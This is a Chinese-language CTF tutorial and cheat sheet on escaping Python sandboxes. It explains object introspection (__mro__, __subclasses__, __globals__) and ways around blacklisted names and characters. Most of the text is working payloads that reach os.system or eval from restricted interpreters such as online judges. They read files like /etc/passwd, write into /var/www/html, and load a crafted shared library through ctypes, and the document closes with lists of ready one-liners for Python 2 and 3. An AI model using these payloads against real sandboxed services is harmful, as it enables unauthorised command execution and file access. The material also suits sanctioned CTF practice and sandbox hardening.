Python 沙箱逃逸

背景知识

沙箱逃逸,就是在给我们的一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程

内联函数

python的内联函数功能强大,可以调用一切函数做自己想做的事情。常用的有下面两个:

__builtins__
__import__
# 下面代码可列出所有的内联函数
dir(__builtins__)
# Python3有一个builtins模块,可以导入builtins模块后通过dir函数查看所有的内联函数
import builtins
dir(builtins)

dir()函数

  • dir()在没有参数的时候返回本地作用域中的名称列表
  • dir()在有参数的时候返回该对象的有效属性列表
>>> dir()
['__annotations__', '__builtins__', '__doc__', '__loader__', '__name__', '__package__', '__spec__']
>>> class A():
...     def __init__(self):
...             self.a='a'
...
>>> dir(A)
['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__']

object类

对于支持继承的编程语言来说,其方法(属性)可能定义在当前类,也可能来自于基类,所以在方法调用时就需要对当前类和基类进行搜索以确定方法所在的位置。而搜索的顺序就是所谓的「方法解析顺序」(Method Resolution Order,或MRO)。

关于MRO的文章:http://hanjianwei.com/2013/07/25/python-mro/

python的主旨是一切变量皆对象
python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,主要是通过__mro____bases__两种方式来创建。
__mro__属性获取类的MRO(方法解析顺序),也就是继承关系。
__bases__属性可以获取上一层的继承关系,如果是多层继承则返回上一层的东西,可能有多个。

>>> class A(object):pass
>>> class B(object):pass
>>> class C(A,B):pass
>>> C.__bases__
(<class '__main__.A'>, <class '__main__.B'>)
>>> C.__mro__
(<class '__main__.C'>, <class '__main__.A'>, <class '__main__.B'>, <class 'object'>)

通过__mro____bases__两种方式创建object类

''.__class__.__mro__[2]
().__class__.__bases__[0]
[].__class__.__mro__[2]
{}.__class__.__bases__[0]

然后通过object类的__subclasses__()方法来获得当前环境下能够访问的所有对象,因为调用对象的 __subclasses__() 方法会返回当前环境中所有继承于该对象的对象.。Python2和Python3获取的结果不同。

''.__class__.__mro__[2].__subclasses__()
{}.__class__.__bases__[0].__subclasses__()

import导入机制

图片.png

所以说如果导入的模块a中有着另一个模块b,那么,我们可以用a.b的方法或者a.__dict__[b<name>]的方法间接访问模块b。

>>> f = open('test.py')
>>> f.read()
'import os'
>>> import test
>>> test.os.system('dir')
###等价于
>>> test.__dict__['os'].system('dir')

Python中可以利用的方法和模块

任意代码或者命令执行

__import__()函数

动态加载类和函数

__import__("os").system("ls")
timeit模块
import timeit
timeit.timeit("__import__('os').system('ls')",number=1)
exec(),eval(),execfile(),compile()函数
eval('__import__("os").system("ls")')
exec('__import__("os").system("ls")')
eval()函数只能计算单个表达式的值,而exec()函数可以动态运行代码段。
eval()函数可以有返回值,而exec()函数返回值永远为None。

execfile('py文件名')#execfile()只存在于Python2,Python3没有该函数
>>> execfile(‘/usr/lib/python2.7/os.py’)
>>> system(‘cat /etc/passwd’) 
os的所有函数都被直接引入到了环境中,直接执行就可以了

compile('a = 1 + 2', '<string>', 'exec')
platform模块
import platform
platform.popen('dir').read()
os模块

os,语义为操作系统,模块提供了访问多个操作系统服务的功能,可以处理文件和目录。

import os
os.system('ls')
os.popen("ls").read()
subprocess模块
import subprocess
subprocess.call('ls',shell=True)
subprocess.Popen('ls', shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT).stdout.read()
#stdin, stdout, stderr: 分别表示程序标准输入、输出、错误句柄。

python3
subprocess.run('ls',shell=True)

如果shell=True的话,curl命令是被Bash(Sh)启动,所以支持shell语法。 如果shell=False的话,启动的是可执行程序本身,后面的参数不再支持shell语法。

importlib动态导入模块

importlib中的几个函数:__import__、import_module、find_loader、invalidate_caches、reload
find_loader用来查找模块,reload重新载入模块
importlib.import_module(name, package=None)
导入一个模块。 name参数指定以绝对或相对方式导入的模块(例如,pkg.mod或..mod)。 如果名称是用相对术语指定的,那么必须将package参数设置为用作解析包名的锚的名称(例如,import_module(’.. mod’,’pkg.subpkg’) 将导入pkg.mod)。
import_module()函数充当importlib.__import__()的简化包装。 这意味着函数的所有语义都来自importlib.import()
在版本3.3中更改:父包将自动导入。

import importlib
importlib.import_module('os').system('ls')

# Python3可以,Python2没有该函数
importlib.__import__('os').system('ls')
getattr() 和 __getattribute__()
__getattribute__()

__getattribute__是属性访问拦截器,就是当这个类的属性被访问时,会自动调用类的__getattribute__方法。
通过__getattribute__我们可以传字符串来进行方法的调用

>>> class Test(object):
...     def __init__(self):
...             self.name='Test'
...     def echo(self):
...             print(self.name)
...
>>> a=Test()
>>> a.__getattribute__('echo')()
Test

应用场景: 比如说一个沙盒waf了’ls’导致属性’globals’不能用,那么payload

().__class__.__mro__[-1].__subclasses__()[59].__init__.func_globals["linecache"].__dict__['o'+'s'].__dict__['system']('ls')

可以转换为

().__class__.__mro__[-1].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')["linecache"].__dict__['o'+'s'].__dict__['system']('l'+'s')

func_globals: 这个属性指向定义函数时的全局命名空间,返回它所有调用的基类和函数
__init__: 返回一个函数对象
__dict__:返回所有属性,包括属性,方法等

getattr()

__globals__:返回一个当前空间下能使用的模块,方法和变量的字典

>>> class test():
...     name="Smi1e"
...     def run(self):
...             return "HelloWorld"
...
>>> t=test()
>>> getattr(t,"name")#获取name属性,存在就打印出来。
'Smi1e'
>>> getattr(t,"run")#获取run方法,存在就打印出方法的内存地址。
<bound method test.run of <__main__.test object at 0x00000110F74FC4E0>>
>>> getattr(t,"run")() #获取run方法,后面加括号可以将这个方法运行。
'HelloWorld'

如果.被waf,可以用getattr()来替代。
payload

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')

转换过程

[].__class__ ==> getattr([],'__class__')
[].__class__.__base__ ==> getattr(getattr([],'__class__'),'__base__')
[].__class__.__base__.__subclasses__()[59] ==> getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59]#后面有括号
[].__class__.__base__.__subclasses__()[59].__init__ ==> getattr(getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59],'__init__')
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'] ==> getattr(getattr(getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59],'__init__'),'__globals__')['linecache']
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'] ==> getattr(getattr(getattr(getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59],'__init__'),'__globals__')['linecache'],'__dict__')['os']

最终payload

getattr(getattr(getattr(getattr(getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59],'__init__'),'__globals__')['linecache'],'__dict__')['os'],'system')('ls')

这种方法的好处是绕过.并且函数名或属性名都用字符串的方式写入payload中。那么可拓展的方法就有很多,例如:

如果_被waf了,可以用dir(0)[0][0]代替

>>> dir(0)[0][0]
'_'

比如上面的payload可以转换为

getattr(getattr(getattr(getattr(getattr(getattr(getattr([],dir(0)[0][0]*2+'class'+dir(0)[0][0]*2),dir(0)[0][0]*2+'base'+dir(0)[0][0]*2),dir(0)[0][0]*2+'subclasses'+dir(0)[0][0]*2)()[59],dir(0)[0][0]*2+'init'+dir(0)[0][0]*2),dir(0)[0][0]*2+'globals'+dir(0)[0][0]*2)['linecache'],dir(0)[0][0]*2+'dict'+dir(0)[0][0]*2)['os'],'system')('ls')

文件操作

file()函数

该函数只存在于Python2,Python3不存在

file('test.txt').read()
open()函数
open('text.txt').read()
codecs模块
import codecs
codecs.open('test.txt').read()

构造so库

在().class.bases[0].subclasses()中发现有可用的类

<type 'file'>
<class 'ctypes.CDLL'>
<class 'ctypes.LibraryLoader'>

构造一个so库,列一下/home/ctf/下的文件

#include <stdio.h>  
void my_init(void) __attribute__((constructor)); 
void my_init(void)  
{  
    system("ls -la /home/ctf/ > /tmp/ls_home_ctf");
}  

将编译好的so直接二进制写入/tmp/bk.so
使用ctypes加载so

().__class__.__bases__[0].__subclasses__()[86](().__class__.__bases__[0].__subclasses__()[85]).LoadLibrary('/tmp/bk.so')

f修饰符

在PEP 498中引入了新的字符串类型修饰符:f或F,用f修饰的字符串将可以执行代码。可以参考此文档 https://www.python.org/dev/peps/pep-0498/

只有在python3.6.0+的版本才有这个方法。简单来说,可以理解为字符串外层套了一个exec()

>>> f'{print("Smi1e")}'
Smi1e
'None'
>>> f'{__import__("os").system("dir")}'
 驱动器 C 中的卷是 Windows
.....

这个有点类似于php中的<?php "${@phpinfo()}"; ?>,但python中没有将普通字符串转成f字符串的方法,所以实际使用时效果不明。

获取当前Python环境

sys模块
import sys
sys.version

一些绕过方式

路径引入os等模块

通常而言,出题人一般是禁止引入敏感包,比如 os等。当将os从sys.modules中删掉之后,就不能再引入了。

sys.modules['os']=None

但是还可以通过路径引入os。6在所有的类unix系统中,Python的os模块的路径几乎都是/usr/lib/python2.7/os.py

>>> import sys
>>> sys.modules['os']=None
>>> import os
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ImportError: No module named os
>>> sys.modules['os']='/usr/lib/python2.7/os.py'
>>> import os
>>>  
reload()方法

Python2 中可以直接使用reload(module)重载模块。
Pyhton3中需要使用

>>> from imp
>>> imp.reload(module)

>>> from imp import reload
>>> reload(module)

>>> import importlib
>>> importlib.reload(module)

>>>import module
>>>import imp
>>>imp.reload(module)

引入imp模块的reload函数能够生效的前提是,在最开始有这样的程序语句import module,这个import的意义并不是把内建模块加载到内存中,因为内建早已经被加载了,它仅仅是让内建模块名在该作用域中可见。

del __builtins__.__dict__['__import__']
del __builtins__.__dict__['eval']
# 删除很多危险函数
del __builtins__.__dict__['...']

此时无法导入危险的包

>>> import base64
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ImportError: __import__ not found

但是可以用 reload来重新导入模块。
但是Python 3.0把reload内置函数移到了imp标准库模块中。所以python3中,这个方法已经失效了

reload(__builtins__)
import base64

所以制作py2.7沙箱的时候,还要删除reload的方法。

Base64编码
>>> import base64
>>> base64.b64encode('__import__')
'X19pbXBvcnRfXw=='
>>> base64.b64encode('os')
'b3M='
>>> __builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64'))
<module 'os' from 'E:\tool\python27\lib\os.pyc'>

一道关于沙箱逃逸的CTF题

from __future__ import print_function
banned = [
    "import",
    "exec",
    "eval",
    "pickle",
    "os",
    "subprocess",
    "kevin sucks",
    "input",
    "banned",
    "cry sum more",
    "sys"
]
targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
    del __builtins__.__dict__[x]
while 1:
    print(">>>", end=' ')
    data = raw_input()
    for no in banned:
        if no.lower() in data.lower():
            print("No bueno")
            break
    else: # this means nobreak
        exec data

这道题目运行在python2.7的环境,虽然没有删除reload,但是利用了黑名单机制,即使你重新载入builtins,也不能成功使用删除的危险函数。

利用file类完成文件读取

利用object子类中的file方法

().__class__.__bases__[0].__subclasses__()[40]

上述返回的内容是,相当于open()函数

().__class__.__bases__[0].__subclasses__()[40]('test.py').read()
# 等价于 open('test.py').read()

调用其他类中的OS模块完成命令执行

在当前沙箱中,import等模块被禁用,但是,在别的模块中如果本身加载有os的模块,我们是可以直接调用的。如下所示

class 'warnings.catch_warnings'
# 在这个类中,调用了os模块,我们可以间接把os模块调用进来。
# win 32
().__class__.__bases__[0].__subclasses__()[54]
# linux 2
().__class__.__bases__[0].__subclasses__()[59]
# linux 2 
print(().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls'))
# func_globals:返回一个包含函数全局变量的字典引用;

遍历找到其他的逃逸方法

通过上面的一些绕过姿势我们发现,无外乎是利用 subclasses 中的一些特殊的方法或者模块然后来调用一些函数或者模块来读取文件,或者执行命令,那么我们可以遍历所有的系统库,然后找到所有的使用了os等模块的模块,最后遍历 subclasses 列表,找到所有可以绕过的姿势。

常见逃逸思路

当函数被禁用时,就要通过一些类中的关系来引用被禁用的函数。一些常见的寻找特殊模块的方式如下所示:
* __class__:获得当前对象的类
* __bases__ :列出其基类
* __mro__ :列出解析方法的调用顺序,类似于bases
* __subclasses__():返回子类列表
* __dict__ : 列出当前属性/函数的字典
* func_globals:返回一个包含函数全局变量的字典引用
* 从().__class__.__bases__[0].__subclasses__()出发,查看可用的类
* 若类中有file,考虑读写操作
* 若类中有<class 'warnings.WarningMessage'>,考虑从.__init__.func_globals.values()[13]获取eval,map等等;又或者从.__init__.func_globals[linecache]得到os
* 若类中有<type 'file'><class 'ctypes.CDLL'><class 'ctypes.LibraryLoader'>,考虑构造so文件

代码执行一句话总结:

包包哥的python2 payload

# 利用file()函数读取文件:(写类似)
().__class__.__bases__[0].__subclasses__()[40]('./test.py').read()
# 执行系统命令:
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].os.system('ls')
# 执行系统命令:
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").system("ls")')
# 重新载入__builtins__:
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").system("ls")
#读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()

#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

#执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

# 利用 __getattibute__ 方法

x = [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'ca'+'tch_warnings'][0].__init__
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s')

n3k0大哥的python3 payload
python3各个小版本之间有区别,有的payload可以用于py3.7 有的可以用于py3.5

().__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__['system']('ls')

().__class__.__bases__[0].__subclasses__()[93].__init__.__globals__["sys"].modules["os"].system("ls")

''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("ls")

[].__class__.__base__.__subclasses__()[127].__init__.__globals__['system']('ls')

Referer

Python沙箱逃逸总结
python 沙箱逃逸总结
Python Sandbox Excape
python沙箱逃逸一些套路的小结